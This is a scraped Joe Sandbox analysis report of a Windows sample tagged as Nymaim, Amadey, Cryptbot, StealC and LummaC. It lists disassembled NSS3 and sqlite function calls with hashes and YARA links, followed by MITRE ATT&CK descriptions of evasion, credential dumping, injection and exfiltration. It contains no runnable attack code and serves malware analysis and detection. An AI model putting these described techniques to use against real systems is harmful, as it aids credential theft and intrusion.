Opcode ID: 34bd1a5426204e22b4e3ac03651b6fa7be4016a4cfcd1f81193e088405c89ab5
Instruction ID: 671504ce3b08cdc9fa8fe132b0ef536e49e4421f64fe9f1ab57b729bd0556326
Opcode Fuzzy Hash: 34bd1a5426204e22b4e3ac03651b6fa7be4016a4cfcd1f81193e088405c89ab5
Instruction Fuzzy Hash: 8F015EF1E007005BEF20CF35DA05717B7E8AF54644F044A28E89AD3641F739F598C691

Function 6BA988E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6BAA08AA,?), ref: 6BA988F6
EnterCriticalSection.KERNEL32(?,?,?,?,6BAA08AA,?), ref: 6BA9890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6BAA08AA,?), ref: 6BA98936
PR_Unlock.NSS3(?,?,?,?,?,6BAA08AA,?), ref: 6BA98940

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 5ee908f10cc053b11eede0c1af75353975bfbe79b384a5c0a1bf6686dece8bb3
Instruction ID: f2eed595416718b5c2c46ddf547e4f92f4573a668cf0d0bbee5bd4d01403ebaa
Opcode Fuzzy Hash: 5ee908f10cc053b11eede0c1af75353975bfbe79b384a5c0a1bf6686dece8bb3
Instruction Fuzzy Hash: 28015B759146059BDB00BF39D185629BBF4FB05394F05096AE88987300EB38E8E1CBD2

Function 6BAD0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6BBA2F88,6BAD0660,00000020,00000000,?,?,6BAD2C3D,?,00000000,00000000,?,6BAD2A28,00000060,00000001), ref: 6BAD0860

Part of subcall function 6B9C4C70: TlsGetValue.KERNEL32(?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4C97
Part of subcall function 6B9C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4CB0
Part of subcall function 6B9C4C70: PR_Unlock.NSS3(?,?,?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6BAD2C3D,?,00000000,00000000,?,6BAD2A28,00000060,00000001), ref: 6BAD0874
EnterCriticalSection.KERNEL32(00000001), ref: 6BAD0884
PR_Unlock.NSS3 ref: 6BAD08A3

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: a55d4749c7025c151cbe8e8e9aa4c8111d20f97f02505cfefb0a60dd458c05f0
Instruction ID: fa9fe4815f03e0e31362a398c70123b54f707c18324b4a37347145b519e7c8ac
Opcode Fuzzy Hash: a55d4749c7025c151cbe8e8e9aa4c8111d20f97f02505cfefb0a60dd458c05f0
Instruction Fuzzy Hash: D901DB75D042046BEF112F35ED56A6E7738EB57319F0801B5EC1857102E727D4D087E1

Function 6BA47B00 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

SECITEM_ItemsAreEqual_Util.NSS3(?,6BB69030), ref: 6BA47B15

Part of subcall function 6BA9FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6BA41A3E,00000048,00000054), ref: 6BA9FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6BB69048), ref: 6BA47B29
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6BA47B46
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA47B60

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Equal_Items$CopyErrorItem_memcmp
String ID:
API String ID: 608361559-0
Opcode ID: dbd5bdfdfa7a31f042615dba45cae96a86d0c956ab5754481bf6c39d77230b68
Instruction ID: fd9546f7cd2e8d49e231b37a398cd881fb7caf4f2131cb31e5d0b2a99e0091a0
Opcode Fuzzy Hash: dbd5bdfdfa7a31f042615dba45cae96a86d0c956ab5754481bf6c39d77230b68
Instruction Fuzzy Hash: 90F08B36E100A576DE0026657C12F6B325C8761E5EF000029FE0AD2241FA99B19340F6

Function 6BB4F990 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6BB52238), ref: 6BB4F9C7
free.MOZGLUE(?), ref: 6BB4F9CD
PR_Lock.NSS3(?,?,?,6BB52238), ref: 6BB4F9DC
PR_Unlock.NSS3 ref: 6BB4FA16

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$LockUnlock
String ID:
API String ID: 628975992-0
Opcode ID: 27226ad88dc7e5b9215d2ab071e306e4f7e3edfa00bdbb8c5d4c7c6fa0e0de56
Instruction ID: e6c097d5d4d4c3b1879b3907e16c76f7f41d43a47459b2f64bc5e0ac27b14628
Opcode Fuzzy Hash: 27226ad88dc7e5b9215d2ab071e306e4f7e3edfa00bdbb8c5d4c7c6fa0e0de56
Instruction Fuzzy Hash: 7F018470A001659FDF449F2DD9129697BE9FF473687184079D40D8B251DB37D802DFA1

Function 6BB55AD0 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6BB55ADC

Part of subcall function 6BB09BF0: TlsGetValue.KERNEL32(?,?,?,6BB50A75), ref: 6BB09C07

PR_Free.NSS3(?), ref: 6BB55AFE
PR_DestroyLock.NSS3(?), ref: 6BB55B09
PR_Free.NSS3(?), ref: 6BB55B12

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Free$CurrentDestroyLockThreadValue
String ID:
API String ID: 1384236848-0
Opcode ID: 49d23f52de86d6e47bc300dbb8872e7fb1c123b60880c68edb7e10c47cae8042
Instruction ID: 9b43f02be55b3bff6972396f43d00af312da943ac88bd1053e62b495de7e10ab
Opcode Fuzzy Hash: 49d23f52de86d6e47bc300dbb8872e7fb1c123b60880c68edb7e10c47cae8042
Instruction Fuzzy Hash: 12F0ECB2D042809BE7045F39EC41A5F36989F01235B0044BAD84DC3232EB35E450C69A

Function 6BB30900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6BB30917
sqlite3_value_text.NSS3(?), ref: 6BB30923

Part of subcall function 6B9F13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6B9C2352,?,00000000,?,?), ref: 6B9F1413
Part of subcall function 6B9F13C0: memcpy.VCRUNTIME140(00000000,6B9C2352,00000002,?,?,?,?,6B9C2352,?,00000000,?,?), ref: 6B9F14C0

Strings

error in %s %s%s%s: %s, xrefs: 6BB30944

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 15da5bf28c9643392c72b075b03673e621ae74732fd41099b4e0588eb2d6eed3
Instruction ID: fdd0beb718811bb608e8d22d7fb7e014160404d2ece5381a333f2e55d38ad880
Opcode Fuzzy Hash: 15da5bf28c9643392c72b075b03673e621ae74732fd41099b4e0588eb2d6eed3
Instruction Fuzzy Hash: A40108B6D001489BEB019E68EC0197ABBB5EFD1218F144039ED489B311FB36ED5087A2

Function 6BAA5820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6BA8615D,FORTEZZA,00000008,?,00000000,?,?,6BA8615D,?,00000000), ref: 6BAA5844
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(6BA86160,?,?,?,6BA8615D,?,00000000), ref: 6BAA5865

Strings

FORTEZZA, xrefs: 6BAA583E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: L_strncasecmpatoi
String ID: FORTEZZA
API String ID: 4019336161-942151381
Opcode ID: 7a44a50d895247035d425cd61cd8f1d9cdc92e011c486fd919affd472aeef17f
Instruction ID: 037782d27292eb13c1efcab5ff76cb8586043da7d5dfe56500fbd80015a4289c
Opcode Fuzzy Hash: 7a44a50d895247035d425cd61cd8f1d9cdc92e011c486fd919affd472aeef17f
Instruction Fuzzy Hash: 400178768483962FEF204E38C400BA2FFD8AF0E354F0840AADAD983101E379E1D5D3A4

Function 6BB09A10 Relevance: 5.1, APIs: 4, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6B9D5E90,?,nolock), ref: 6BB09A41
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6BB09A5D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BB09A68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BB09A7D

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: strlen$strcmp
String ID:
API String ID: 551667898-0
Opcode ID: 725f868698ec2845c9a6b81273062ef7641817b9d857dee76b0420649f90c8f4
Instruction ID: 8c3bcade8953f508aec764b9aa432f414946b3d73c579c598c4e52f64b1d29d4
Opcode Fuzzy Hash: 725f868698ec2845c9a6b81273062ef7641817b9d857dee76b0420649f90c8f4
Instruction Fuzzy Hash: 710126E3C242C53AE301467C9C4573A7F98EB12278F0893B1E8B941182FF3D9469D352

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.
Tactics:	Discovery
Data Sources:	Cloud Service: Cloud Service Enumeration, Command: Command Execution, Network Traffic: Network Traffic Flow
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Nymaim

Threatname: Amadey

Threatname: Cryptbot

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIIEBGCAAECBGCBGCBKEHIJEB

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

